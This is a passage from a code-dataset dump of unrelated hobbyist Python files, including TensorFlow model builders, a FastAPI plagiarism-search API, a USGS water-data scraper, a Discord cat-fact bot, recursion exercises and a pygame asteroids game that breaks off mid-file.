layers.append(img)\n\n # Pad them to 3 channels\n img = tf.image.grayscale_to_rgb(images=img)\n layers.append(img)\n\n vgg = Vgg16(**kwargs)\n vgg.build(rgb=img, build_fc=build_fc)\n output = getattr(vgg, output_layer) * float(scale_output)\n layers.append(output)\n\n if post_pool is not None:\n pool_type = adel.parse_pool2d(post_pool)\n if post_pool_size < 0:\n post_pool_size = output.shape[1:3]\n elif not np.iterable(post_pool_size):\n post_pool_size = [post_pool_size, post_pool_size]\n if not np.iterable(post_pool_stride):\n post_pool_stride = [post_pool_stride, post_pool_stride]\n\n pool = pool_type(inputs=output,\n pool_size=post_pool_size,\n strides=post_pool_stride,\n padding='valid')\n layers.append(pool)\n return layers\n\n\ndef make_conv2d_fc_net(img_in, image_subnet, final_subnet, scope='', **kwargs):\n \"\"\"Creates an network that stacks a 2D convolution with a fully connected net.\n\n Parameters\n ----------\n img_in : tensorflow 4D Tensor\n image_subnet : dict\n Arguments to pass to image subnet constructor\n final_subnet : dict\n Arguments to pass to fully connected subnet constructor\n scope : string (default '')\n Scope prefix prepended to subnet scopes\n \"\"\"\n image_subnet.update(kwargs)\n final_subnet.update(kwargs)\n img_net, img_train, img_state, img_ups = make_conv2d(input=img_in,\n scope='%sjoint_image' % scope,\n **image_subnet)\n flat_dim = int(np.prod(img_net[-1].shape[1:]))\n img_flat = tf.reshape(img_net[-1], (-1, flat_dim))\n fin_net, fin_train, fin_state, fin_ups = make_fullycon(input=img_flat,\n scope='%sjoint_fc' % scope,\n **final_subnet)\n all_layers = img_net + [img_flat] + fin_net\n all_train = img_train + fin_train\n all_state = img_state + fin_state\n all_ups = img_ups + fin_ups\n return all_layers, all_train, all_state, all_ups\n\n\ndef make_conv2d_joint_net(img_in, vector_in, image_subnet, squeeze_subnet, vector_subnet,\n final_subnet, scope='', **kwargs):\n \"\"\"Creates an network that combines a 2D convolution with a fully connected net and\n passes the flattened output through another fully connected network.\n\n Parameters\n ----------\n img_in : tensorflow 4D Tensor\n vector_in : tensorflow 2D Tensor\n image_subnet : dict\n Arguments to pass to image subnet constructor\n vector_subnet : dict\n Arguments to pass to vector subnet constructor\n final_subnet : dict\n Arguments to pass to final subnet constructor\n scope : string (default '')\n Scope prefix prepended to subnet scopes\n dropout_rate : tensorflow bool Tensor (default None)\n batch_training : tensorflow bool Tensor (default None)\n reuse : bool (default False)\n Whether or not to reuse existing variables\n \"\"\"\n image_subnet.update(kwargs)\n vector_subnet.update(kwargs)\n squeeze_subnet.update(kwargs)\n final_subnet.update(kwargs)\n img_net, img_train, img_state, img_ups = make_conv2d(input=img_in,\n scope='%sjoint_image' % scope,\n **image_subnet)\n vec_net, vec_train, vec_state, vec_ups = make_fullycon(input=vector_in,\n scope='%sjoint_vector' % scope,\n **vector_subnet)\n flat_dim = int(np.prod(img_net[-1].shape[1:]))\n img_flat = tf.reshape(img_net[-1], (-1, flat_dim))\n sq_net, sq_train, sq_state, sq_ups = make_fullycon(input=img_flat,\n scope='%sjoint_squeeze' % scope,\n **squeeze_subnet)\n joined = tf.concat([sq_net[-1], vec_net[-1]], axis=-1)\n fin_net, fin_train, fin_state, fin_ups = make_fullycon(input=joined,\n scope='%sjoint_final' % scope,\n **final_subnet)\n all_layers = img_net + sq_net + vec_net + [img_flat, joined] + fin_net\n all_train = img_train + sq_train + vec_train + fin_train\n all_state = img_state + sq_state + vec_state + fin_state\n all_ups = img_ups + sq_ups + vec_ups + fin_ups\n return all_layers, all_train, all_state, all_ups\n\n\ndef make_conv2d_parallel_net(img1, img2, conv1, conv2, squeeze1, squeeze2, final,\n scope='', **kwargs):\n \"\"\"Creates a network that joins two convnets together\n \"\"\"\n conv1.update(kwargs)\n conv2.update(kwargs)\n squeeze1.update(kwargs)\n squeeze2.update(kwargs)\n final.update(kwargs)\n\n net1, train1, state1, ups1 = make_conv2d(input=img1,\n scope='%s/sub1' % scope,\n **conv1)\n net2, train2, state2, ups2 = make_conv2d(input=img2,\n scope='%s/sub2' % scope,\n **conv2)\n flat_dim1 = int(np.prod(net1[-1].shape[1:]))\n flat1 = tf.reshape(net1[-1], (-1, flat_dim1))\n flat_dim2 = int(np.prod(net2[-1].shape[1:]))\n flat2 = tf.reshape(net2[-1], (-1, flat_dim2))\n\n sq1, sq_train1, sq_state1, sq_ups1 = make_fullycon(input=flat1,\n scope='%s/squeeze1' % scope,\n **squeeze1)\n sq2, sq_train2, sq_state2, sq_ups2 = make_fullycon(input=flat2,\n scope='%s/squeeze2' % scope,\n **squeeze2)\n\n joined = tf.concat([sq1[-1], sq2[-1]], axis=-1)\n fin_net, fin_train, fin_state, fin_ups = make_fullycon(input=joined,\n scope='%s/final' % scope,\n **final)\n all_layers = net1 + sq1 + [flat1] + net2 + \\\n sq2 + [flat2] + [joined] + fin_net\n all_train = train1 + train2 + sq_train1 + sq_train2 + fin_train\n all_state = state1 + state2 + sq_state1 + sq_state2 + fin_state\n all_ups = ups1 + ups2 + sq_ups1 + sq_ups2 + fin_ups\n return all_layers, all_train, all_state, all_ups\n","repo_name":"Humhu/percepto","sub_path":"adel/python/adel/architectures.py","file_name":"architectures.py","file_ext":"py","file_size_in_byte":7269,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"37051995748","text":"from fastapi import FastAPI, UploadFile, File\nfrom fastapi.middleware.cors import CORSMiddleware\n\n\nfrom .schemas import SimpleQuery\nfrom .utils import clean_text, ElasticsearchIndexer\n\nimport os, re\nfrom dotenv import load_dotenv\nimport textract\nimport unicodedata as ud\n\n\napp = FastAPI()\n\nENV_PATH = os.path.join(os.path.dirname(os.path.dirname(__file__)), \".env\")\nload_dotenv(ENV_PATH)\n\norigins = [\n \"http://localhosts\",\n \"http://127.0.0.1\",\n \"http://127.0.0.1:5173\",\n \"http://192.168.16.5\",\n \"http://192.168.16.5:5173\",\n]\n\n\n# add allowed origins\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"], # Allows all methods\n allow_headers=[\"*\"], # Allows all headers\n)\n\n\n@app.get(\"/api/\")\nasync def hello_world():\n return {\"message\": \"welcome to plagiarism detection in scientific writings\"}\n\n\n@app.post(\"/api/most_similar/\")\nasync def most_similar(query: SimpleQuery):\n content = query.content\n\n index_name = \"pnst\" # Update with your index name\n index = ElasticsearchIndexer(index_name)\n\n res = index.search_abstracts(content)\n print(\"sfsqfsfqsfqsfqsfqsfqsfqsfqsdf\", res)\n response = [\n {\n \"rate\": doc[\"_score\"],\n \"title\": doc[\"_source\"][\"title\"],\n \"url\": doc[\"_source\"][\"url\"],\n }\n for doc in res\n ]\n\n # res = query_index.search(cleaned_text, k)\n\n # results = (\n # db.session.query(docs_models.Document)\n # .filter(docs_models.Document.repo_id.in_([r[\"id\"] for r in res]))\n # .all()\n # )\n\n # response = [\n # {\"title\": doc.title, \"rate\": rate, \"url\": doc.url, \"authors\": doc.authors}\n # for doc, rate in zip(results, [r[\"rate\"] for r in res])\n # ]\n\n return {\"response\": response}\n\n\n@app.post(\"/api/most_similar_file/\")\nasync def most_similar_file(file: UploadFile = File(...), k: int = 5):\n content = file\n\n if content.filename.endswith(\".txt\"):\n contents = await content.read()\n text = contents.decode(\"utf-8\")\n cleaned_text = clean_text(text)\n\n else:\n contents = await content.read()\n if content.filename.endswith(\".pdf\"):\n text = textract.process(contents).decode(\"utf-8\")\n elif content.filename.endswith(\".docx\"):\n text = textract.process(contents, method=\"python-docx\").decode(\"utf-8\")\n\n text = ud.normelize(\"NFKD\", text)\n cleaned_text = clean_text(text)\n\n res = query_index.search(cleaned_text, k)\n\n results = (\n db.session.query(docs_models.Document)\n .filter(docs_models.Document.repo_id.in_([r[\"id\"] for r in res]))\n .all()\n )\n\n response = [\n {\n \"title\": re.sub(r\"\\[.*\", \"\", doc.title),\n \"rate\": rate,\n \"url\": doc.url,\n \"authors\": doc.authors,\n \"lang\": ld.detect(doc.title),\n }\n for doc, rate in zip(results, [r[\"rate\"] for r in res])\n ]\n\n return {\"response\": response}\n","repo_name":"aa-Aliane/sim_project_2","sub_path":"api/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20701336558","text":"# start_date = input(\"Input the start date: \")\n# end_date = input(\"Input the End date: \")\n# url = \"https://waterservices.usgs.gov/nwis/dv/?format=json&sites=09519000&startDT=\" + start_date + \"&endDT=\" + end_date + \"&siteStatus=all\"\n# print(\"The url is \", url)\nimport requests\nimport json\nimport csv\nimport datetime\n\n\ndef save_csv(json_url, site_location, start_date, end_date,\n site_name, average_first_date, average_per_day,\n average_first_qualifier, average, filename):\n with open(filename, 'w', newline='') as csvfile:\n fieldnames = ['JSON URL', 'Site Location', 'Start Date', 'End Date', 'Site Name',\n 'Date of Average Value', 'Average Value Per Day', 'Qualifier']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n\n writer.writeheader()\n writer.writerow({'JSON URL': json_url, 'Site Location': site_location, 'Start Date': start_date, 'End Date':\n end_date, 'Site Name': site_name, 'Date of Average Value': average_first_date,\n 'Average Value Per Day': average_per_day, 'Qualifier': average_first_qualifier[0]})\n for i in range(1, len(average)):\n av = average[i]['value']\n qf = average[i]['qualifiers']\n dt = average[i]['dateTime']\n writer.writerow({'JSON URL': '', 'Site Location': '', 'Start Date': '', 'End Date': '', 'Site Name': '',\n 'Date of Average Value': dt, 'Average Value Per Day': av, 'Qualifier': qf[0]})\n\n print(\"Congratulations,\\n Your CSV has been successfully saved. Bingo!!! \\n\")\n\n\ndef instruction(json_url, site_location, start_date, end_date,\n site_name, average_first_date, average_per_day,\n average_first_qualifier, average, filename):\n asking = input(\"Do you want to save the file now? (Y/N): \\n\")\n if asking == 'y' or asking == 'Y':\n save_csv(json_url, site_location, start_date, end_date,\n site_name, average_first_date, average_per_day,\n average_first_qualifier, average, filename)\n\n elif asking == 'n' or asking == 'N':\n print(\"OK, Terminating the script\")\n else:\n print(\"Please select Y or N\")\n instruction(json_url, site_location, start_date, end_date,\n site_name, average_first_date, average_per_day,\n average_first_qualifier, average, filename)\n\n\ndef try_again():\n one_more = input(\"Do you want to try again? (Y/N) \\n\")\n if one_more == 'Y' or one_more == 'y':\n handle_all()\n elif one_more == 'N' or one_more == 'n':\n print(\"Thank You. Bye\")\n else:\n try_again()\n\n\ndef validate_date():\n user_input_start_date = input(\"Please Input start Date with proper date format (YYYY-MM-DD): \\n\")\n user_input_end_date = input(\"Please Input End Date with proper date format (YYYY-MM-DD): \\n\")\n try:\n datetime.datetime.strptime(user_input_start_date, '%Y-%m-%d')\n datetime.datetime.strptime(user_input_end_date, '%Y-%m-%d')\n url = \"https://waterservices.usgs.gov/nwis/dv/?format=json&sites=09519000&startDT=\" + user_input_start_date \\\n + \"&endDT=\" + user_input_end_date + \"&siteStatus=all\"\n return url\n except ValueError:\n print(\"Incorrect date format, should be YYYY-MM-DD. For example: 2018-05-06 \\n\")\n validate_date()\n\n\ndef handle_all():\n try:\n url = validate_date()\n data = json.loads((requests.get(url)).content)\n json_url = data['value']['queryInfo']['queryURL']\n site_location = data['value']['queryInfo']['criteria']['locationParam']\n start_date = data['value']['queryInfo']['criteria']['timeParam']['beginDateTime']\n end_date = data['value']['queryInfo']['criteria']['timeParam']['endDateTime']\n site_name = data['value']['timeSeries'][0]['sourceInfo']['siteName']\n average_first_date = data['value']['timeSeries'][0]['values'][0]['value'][0]['dateTime']\n average_per_day = data['value']['timeSeries'][0]['values'][0]['value'][0]['value']\n average_first_qualifier = data['value']['timeSeries'][0]['values'][0]['value'][0]['qualifiers']\n average = data['value']['timeSeries'][0]['values'][0]['value']\n filename = input(\"Please Insert the csv file name: \\n\")\n filename = filename + \".csv\"\n instruction(json_url, site_location, start_date, end_date,\n site_name, average_first_date, average_per_day,\n average_first_qualifier, average, filename)\n try_again()\n except ValueError:\n print(\"Data Parsing Error. Please check the date you have just input\")\n\n\nhandle_all()\n\n\n\n\n\n\n","repo_name":"mahbubcubd/WaterServices-Geological_Survey","sub_path":"Scrap.py","file_name":"Scrap.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12258741969","text":"import os # classis Python library\r\nimport json # json\r\nimport requests # cat facts\r\nimport discord # the name says it all..\r\nfrom discord import app_commands # we use a 'tree' containing 'commands'. commands can be user by users to trigger an action on the bot\r\nfrom dotenv import load_dotenv # we will use a file called .env in which we save data that we do not want to show in code, such as 'your-discord-api-token' \r\n\r\n\"\"\" retrieve the token from your .env file => good practice \"\"\"\r\nload_dotenv()\r\nTOKEN = os.getenv('DISCORD_TOKEN')\r\n\r\n\"\"\" some general variables => if you want others (non-devs) to be able to change things, consider to put some in your .env or even TXT, XLSX file and read it \"\"\"\r\nall_commands_for_this_tutorial = \\\r\n f\"The users from Medium can only use:\\n\\\r\n /mediumcats\"\r\n\r\nclass dClient(discord.Client):\r\n \"\"\" \r\n we initiate the 'client' here which is the bot \r\n on __initilization__ we tell discord that we would like to use most of it's feautures by providing Intents.Default\r\n self.synced = False -> is self made and makes sure that on __init__ the (tree)commands will be synced\r\n\r\n on_ready is a discord function of this class which we will use to add some empty dictionairies which will serve to store our data in\r\n\r\n the __str__ method let's us see what's inside the bot whenever we use print(bot) in the script\r\n\r\n \"\"\"\r\n\r\n def __init__(self):\r\n super().__init__(intents=discord.Intents.default(), command_prefix='/')\r\n self.synced = False\r\n\r\n async def on_ready(self):\r\n await self.wait_until_ready()\r\n\r\n if not self.synced:\r\n await tree.sync()\r\n self.synced = True\r\n\r\n self.tempChannels = {}\r\n self.voiceChannels = {}\r\n self.openGroupRequests = {}\r\n \r\n def __str__(self):\r\n\r\n return(\r\n f'\\n{self.user} is connected\\n'\r\n f'Server ID: {self.ownServerID}\\n'\r\n f'Server Guilds: {self.guilds}\\n'\r\n #f'Server Roles: {self.guildRoles}\\n'\r\n f'Temp Voice Channels: {self.tempChannels}\\n'\r\n f'Open Requests Msgs: {self.openGroupRequests}\\n'\r\n )\r\n\r\n\"\"\" we initiate the Client, and add the Tree Commands\"\"\"\r\nbot = dClient()\r\ntree = app_commands.CommandTree(bot)\r\n\r\n@tree.command(name='mediumcats')\r\nasync def cats(ctx):\r\n\r\n \"\"\" \r\n provides the user a random cat fact fetched from an API\r\n the user can use /mediumcats on any server where the bot is added :)\r\n \"\"\"\r\n\r\n request = requests.get('https://catfact.ninja/fact')\r\n response = json.loads(request.content)['fact']\r\n print(f'cat fact of the day:\\n{response}\\n')\r\n\r\n await ctx.response.send_message(f'Here is your cat fact of the day, besides that they are cool:\\n{response}')\r\n return\r\n\r\n\r\nbot.run(TOKEN)\r\nprint(f'Bot is ready for use:\\n{bot}')","repo_name":"MediumKoItCases/functionExample","sub_path":"discord_example_bot_cats.py","file_name":"discord_example_bot_cats.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4693504236","text":"# _*_ coding:utf-8 _*_\n\n# ========================递归专题=========================\n# 求N的阶乘、欧几里德算法(求最大公约数)、斐波那契数列(原始方法及生成器迭代器方法)、\n# 汉诺塔问题、树的三种递归遍历方式、快速排序、折半查找、图的遍历、归并排序、\n# 八皇后问题(回溯、递归)、棋盘覆盖(分治,递归)、Strassen矩阵乘法(分治)、\n# 最近点对问题(分治+递归)、循环赛日程表、凸包问题求解\n\n# ========================汉诺塔=========================\n\n\ndef move(n, a, b, c):\n if n == 1:\n print(a, \"->\", c)\n else:\n move(n - 1, a, c, b)\n move(1, a, b, c)\n move(n - 1, b, a, c)\n\n\nmove(3, \"A\", \"B\", \"C\")\n\n\n# ========================求n的阶乘=========================\n# 循环实现\nnum = 3\nfact = 1\nif num < 0:\n print(\"错误,负数没有阶乘\")\nelif num == 1:\n print(\"0的阶乘为1\")\nelse:\n for i in range(1, num + 1):\n fact *= i\n print(\"%d的阶乘为%d\" % (num, fact))\n\n\n# 递归实现\ndef fact(n):\n if n < 0:\n print(\"错误,负数没有阶乘\")\n elif n == 0:\n return 1\n else:\n return n * fact(n - 1)\n\n\nprint(fact(5))\n","repo_name":"caoxiaozhidezhi/study-test","sub_path":"recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26929628141","text":"from project.booths.booth import Booth\n\n\nclass OpenBooth(Booth):\n PRICE_PER_PERSON_OPEN_BOOTH = 2.50\n\n def __init__(self, booth_number: int, capacity: int):\n self.booth_number = booth_number\n self.capacity = capacity\n super().__init__(booth_number, capacity)\n\n def reserve(self, number_of_people):\n self.price_for_reservation = number_of_people * OpenBooth.PRICE_PER_PERSON_OPEN_BOOTH\n self.is_reserved = True\n\n","repo_name":"kristianche/Python-OOP","sub_path":"10. Exam Preparation/Structure/project/booths/open_booth.py","file_name":"open_booth.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8433831050","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/160586?language=python3\ndef solution(keymap, targets):\n dict_key = {}\n answer = []\n for keys in keymap:\n for idx, key in enumerate(keys):\n if key in dict_key:\n dict_key[key] = min(dict_key[key], idx+1)\n else:\n dict_key[key] = idx + 1\n\n for target in targets:\n cnt = 0\n for row in target:\n if row not in dict_key:\n cnt = -1\n break\n else:\n cnt += dict_key[row]\n answer.append(cnt)\n\n return answer","repo_name":"ha2hi/Python","sub_path":"코딩테스트/프로그래머스/Lv.1/대��� 만든 자판.py","file_name":"대충 만든 자판.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20681817911","text":"from mathematica.algebra.matrices import add_matrices,sub_matrices\nimport pytest\n\ndef test1():\n\n a = [\n [1,2,3],\n [4,5,6],\n ]\n\n b = [\n [7,8,9],\n [10,11,12],\n ]\n result = add_matrices(a,b)\n\n assert result == [\n [8,10,12],\n [14,16,18],\n ]\n\n# def test2():\n# assert sub_matrices()==0\n\n\n\ndef test2():\n\n a = [\n [1,2,3],\n [4,5,6],\n ]\n\n b = [\n [7,8,9],\n [10,11,12],\n ]\n result = sub_matrices(a,b)\n\n assert result == [\n [-6,-6,-6],\n [-6,-6,-6],\n ]","repo_name":"MagdaPuchlik/python_bootcamp_06102018","sub_path":"zjazd_4/Zadanie_1/tests/test_algebra.py","file_name":"test_algebra.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43265952239","text":"\"\"\"\n 打印二维列表第四行第三列元素\n 从左到右打印二维列表第二行所有元素\n 从上到下打印二维列表第一列所有元素\n 将二维列表按照表格状输出到终端\n\"\"\"\nlist01 = [\n [1, 2, 3, 4],\n [5, 6, 7, 8],\n [9, 10, 11, 12],\n [13, 14, 15, 16],\n]\n\nprint(list01[3][2])\n\nfor item in list01[1]:\n print(item, end=\" \")\n\nprint()\n\n# list01[0][0]\n# list01[1][0]\n# list01[2][0]\n# list01[3][0]\nfor r in range(4):\n print(list01[r][0])\n\n# for item in list01:\n# print(item[0])\n\nfor line in list01:\n for item in line:\n print(item, end=\"\\t\")\n print()\n\n# for r in range(4):\n# for c in range(4):\n# print(c + 1 + r * 4, end=\"\\t\")\n# print()\n","repo_name":"fenglinhuoshan-xun/pythonLearning","sub_path":"stage1/PYTHON_BASE/day04 容器/exercise14.py","file_name":"exercise14.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19453932360","text":"from turtle import Turtle, Screen\n\nscreen = Screen()\nwith open(\"data.txt\") as file:\n num = int(file.read())\n\nALIGNMENT = 'center'\nFONT = ('Arial', 8, 'normal')\n\n\nclass Scoreboard(Turtle):\n def __init__(self):\n super().__init__()\n self.score = 0\n self.high_score = num\n self.penup()\n self.color('white')\n self.hideturtle()\n self.goto(0, 270)\n self.update()\n '''This command writes the argument then and there itself and it is kind of like the\n print command for the console. So, it is like the same for the graphic screen. '''\n\n def update(self):\n self.clear()\n self.write(f'Score:{self.score}, High_score: {self.high_score}', align=ALIGNMENT, font=FONT)\n screen.update()\n\n def increase(self):\n self.score += 1\n self.clear()\n self.update()\n '''So, we print the write command everytime the snake hits the food. But, we also need to clear\n the previous written texts so we put in the clear command.'''\n\n def gameover(self):\n self.goto(0, 0)\n self.write('GAME OVER', align=ALIGNMENT, font=FONT)\n\n def check(self):\n if self.score > self.high_score:\n self.high_score = self.score\n # num = self.high_score\n with open('data.txt', mode='w') as file:\n file.write(f'{self.high_score}')\n self.score = 0\n self.update()\n","repo_name":"Upasna20/Python-projects","sub_path":"snakeGame/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18432337613","text":"import json\nimport os\nimport random\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nimport fire\nimport numpy as np\nfrom datasets import load_dataset\nfrom tqdm import tqdm\n\nfrom pinocchio.text_utils import generic_text_predictions\nfrom transformers import BartForConditionalGeneration, BartTokenizer, pipeline\n\n\ndef main(\n output_file: str,\n gpu_id: int,\n split: Optional[str] = \"test\",\n seed: Optional[int] = 42,\n resume_index: Optional[int] = 0,\n end_index: Optional[int] = None,\n):\n random.seed(seed)\n np.random.seed(seed)\n\n if end_index is None:\n dataset = load_dataset(\"xsum\", split=f\"{split}[{resume_index}:]\")\n else:\n dataset = load_dataset(\"xsum\", split=f\"{split}[{resume_index}:{end_index}]\")\n print(len(dataset))\n\n print(\"loading bart...\")\n tokenizer = BartTokenizer.from_pretrained(\"facebook/bart-large-xsum\")\n bart = BartForConditionalGeneration.from_pretrained(\n \"facebook/bart-large-xsum\", output_attentions=True\n )\n bart.to(f\"cuda:{gpu_id}\")\n print(\"bart loaded.\")\n\n print(\"Loading unmasker...\")\n unmasker = pipeline(\"fill-mask\", model=\"roberta-base\", device=gpu_id)\n print(\"Loaded unmasker.\")\n\n for i, input_item in enumerate(tqdm(dataset, desc=\"Predicting...\")):\n output_dict_example = {}\n input_text = input_item[\"document\"]\n doc_id = input_item[\"id\"]\n gold = input_item[\"summary\"]\n\n if len(input_text) == 0 or len(gold) == 0:\n continue\n\n (\n summary,\n predictions,\n full_entropy,\n best_score,\n num_resets,\n ) = generic_text_predictions(\n bart,\n tokenizer,\n unmasker,\n [input_text],\n gpu_id,\n use_filter=True, # Setting use_filter to true to use the pinocchio algorithm\n abstractive=True,\n print_beam_info=False,\n seed=1111,\n )\n\n if summary is None:\n continue\n\n output_dict_example[\"id\"] = doc_id\n output_dict_example[\"predicted\"] = summary\n output_dict_example[\"gold\"] = gold\n\n output_dict_example[\"num_resets\"] = num_resets\n output_dict_example[\"best_scores\"] = best_score\n output_dict_example[\"full_entropy\"] = full_entropy\n output_dict_example[\"full_output\"] = predictions\n\n with open(output_file, \"a\") as _jsonl_file:\n _jsonl_file.write(json.dumps(output_dict_example))\n _jsonl_file.write(\"\\n\")\n\n\nif __name__ == \"__main__\":\n fire.Fire(main)\n","repo_name":"allenai/pinocchio","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"21586128753","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as N\nfrom matplotlib import pyplot as P\n\nx = N.linspace(-2*N.pi,2*N.pi,2048)\n\ns = N.sinc(x)\n\ny = N.zeros_like(x)\ny[N.abs(x)<=1] = 1 # y est la fonction porte: +1 entre ±1, 0 ailleurs\n\nz = N.fft.fft(s) # Transformée de Fourier (repliée)\nz = N.fft.fftshift(z) # TF (dépliée)\n\nf = N.fft.fftfreq(len(x), d=1/(2*N.pi))\nf = N.fft.fftshift(f)\n","repo_name":"hjulienne/Informatique-Python","sub_path":"Cours/fft.py","file_name":"fft.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"fr","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"11592940150","text":"favorite_languages = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'rust',\n 'phil': 'python',\n}\n\npeople = [\"jen\", 'edward', \"toby\", \"michael\"]\n\nfor person in people:\n if person in favorite_languages:\n print(f\"{person.title()}, thank you for responding. Your favorite language is {favorite_languages[person].title()}.\")\n else:\n print(f\"{person.title()}, we've invited you to take this poll. \")\n","repo_name":"deadWrongCoder/Python-Crash-Course","sub_path":"Chapter 6: Dictionaries/2.Looping through a Dictionary/6-6.polling.py","file_name":"6-6.polling.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"20036457412","text":"import os\nimport sys\nfrom os import listdir\nfrom os.path import isfile, join\nfrom datetime import datetime, timezone\n\n\nPOSTS_DIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'docs')\n\n\ndef format_files_in_directory(directory):\n onlyfiles = [f for f in listdir(directory) if isfile(join(directory, f))]\n markdowns = [f for f in onlyfiles if f[-2:] == 'md']\n for file in markdowns:\n filepath = os.path.join(directory, file)\n with open(filepath, 'r') as f:\n file_content = f.read()\n\n date_today = datetime.now(timezone.utc).strftime(\"%Y-%m-%d\")\n new_filepath = os.path.join(POSTS_DIR, date_today+'-'+file)\n with open(new_filepath, 'w') as f:\n title = file[:-40].replace('-', ' ')\n date = datetime.now(timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n front_matter = \"\"\"---\nlayout: post\ntitle: \"{}\"\ndate: {}\n---\n\"\"\".format(title, date)\n file_content = front_matter + file_content\n f.write(file_content)\n\n\nif __name__ == '__main__':\n export_name = sys.argv[1]\n export_dir = os.path.join(os.path.dirname(os.path.realpath(\n __file__)), 'exports', export_name)\n format_files_in_directory(export_dir)\n print('Formatted files in:', export_dir)\n","repo_name":"juliankoh/tez-wiki","sub_path":"format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25461253894","text":"import pygame, sys, random\n\n\n#Class Definitions\nclass Ship(pygame.sprite.Sprite):\n def __init__(self,groups):\n super().__init__(groups)\n self.image = pygame.image.load(\"Sprites/player.png\").convert_alpha()\n self.image_to_rotate = self.image\n self.rect = self.image.get_rect(center =(SCREEN_W/2,SCREEN_H/2))\n self.position = pygame.Vector2(SCREEN_W/2,SCREEN_H/2)\n self.velocity = pygame.Vector2(0,0)\n self.forward_speed = 2\n self.rotation_amount = 2\n self.current_direction = pygame.Vector2(0,-1)\n #New Attributes############################################\n self.can_shoot = True\n self.cooldown_time = None\n \n def ship_acceleration(self):\n if abs(self.velocity.x) < 50 and abs(self.velocity.y) < 50:\n self.velocity += self.current_direction * self.forward_speed\n \n\n \n def ship_rotation(self, clockwise = True):\n sign = 1 if clockwise else -1\n angle = self.rotation_amount*sign\n self.current_direction.rotate_ip(angle)\n \n def ship_controls(self):\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_a]:\n self.ship_rotation(False)\n if keystate[pygame.K_d]:\n self.ship_rotation(True)\n if keystate[pygame.K_w]:\n self.ship_acceleration()\n if not keystate[pygame.K_w]:\n self.ship_drag()\n\n def screen_wrap(self):\n x, y = self.position\n self.position = pygame.Vector2(x % SCREEN_W, y % SCREEN_H)\n\n def move(self):\n self.screen_wrap()\n self.position = self.position + self.velocity\n\n def ship_drag(self):\n drag = 0.98\n self.velocity.y *= drag\n self.velocity.x *= drag\n #New Methods################################################\n def laser_cooldown(self):\n if not self.can_shoot:\n current_time = pygame.time.get_ticks()\n if current_time - self.cooldown_time > 500:\n self.can_shoot = True\n\n def laser_shoot(self):\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_SPACE] and self.can_shoot:\n angle = self.current_direction.angle_to((0,-1))\n \n self.can_shoot = False\n self.cooldown_time = pygame.time.get_ticks()\n Laser(self.position, angle, laser_group)\n \n def update(self):\n self.laser_cooldown()\n self.laser_shoot()\n self.ship_controls()\n self.move()\n self.debugRect()\n \n def draw(self,surface):\n angle = self.current_direction.angle_to((0,-1))\n self.image = pygame.transform.rotozoom(self.image_to_rotate, angle, 1.0)\n rotated_surface_size = pygame.Vector2(self.image.get_size())\n blit_position = self.position - rotated_surface_size * 0.5\n surface.blit(self.image, blit_position)\n\n def debugRect(self):\n self.rect.center = self.position\n pygame.draw.rect(display_surface, \"red\", self.rect)\n\nclass Laser(pygame.sprite.Sprite):\n def __init__(self, position, angle, groups):\n super().__init__(groups)\n self.image = pygame.image.load(\"Sprites/effect_purple.png\").convert_alpha()\n self.image_og = self.image\n self.rect = self.image.get_rect(center = position)\n self.position = pygame.math.Vector2(self.rect.center)\n self.direction = pygame.math.Vector2(ship.current_direction)\n self.angle = angle\n self.speed = 2\n\n\n def debugRect(self):\n self.rect.center = self.position\n pygame.draw.rect(display_surface, \"red\", self.rect)\n\n def move(self):\n self.image = pygame.transform.rotozoom(self.image_og, self.angle, 1.0)\n self.position += self.direction*dt*50000\n self.rect.center = (round(self.position.x),round(self.position.y))\n \n #Laser Update\n def update(self):\n self.move()\n self.debugRect()\n\nclass Asteroid(pygame.sprite.Sprite):\n def __init__(self, groups):\n super().__init__(groups)\n self.img_list = 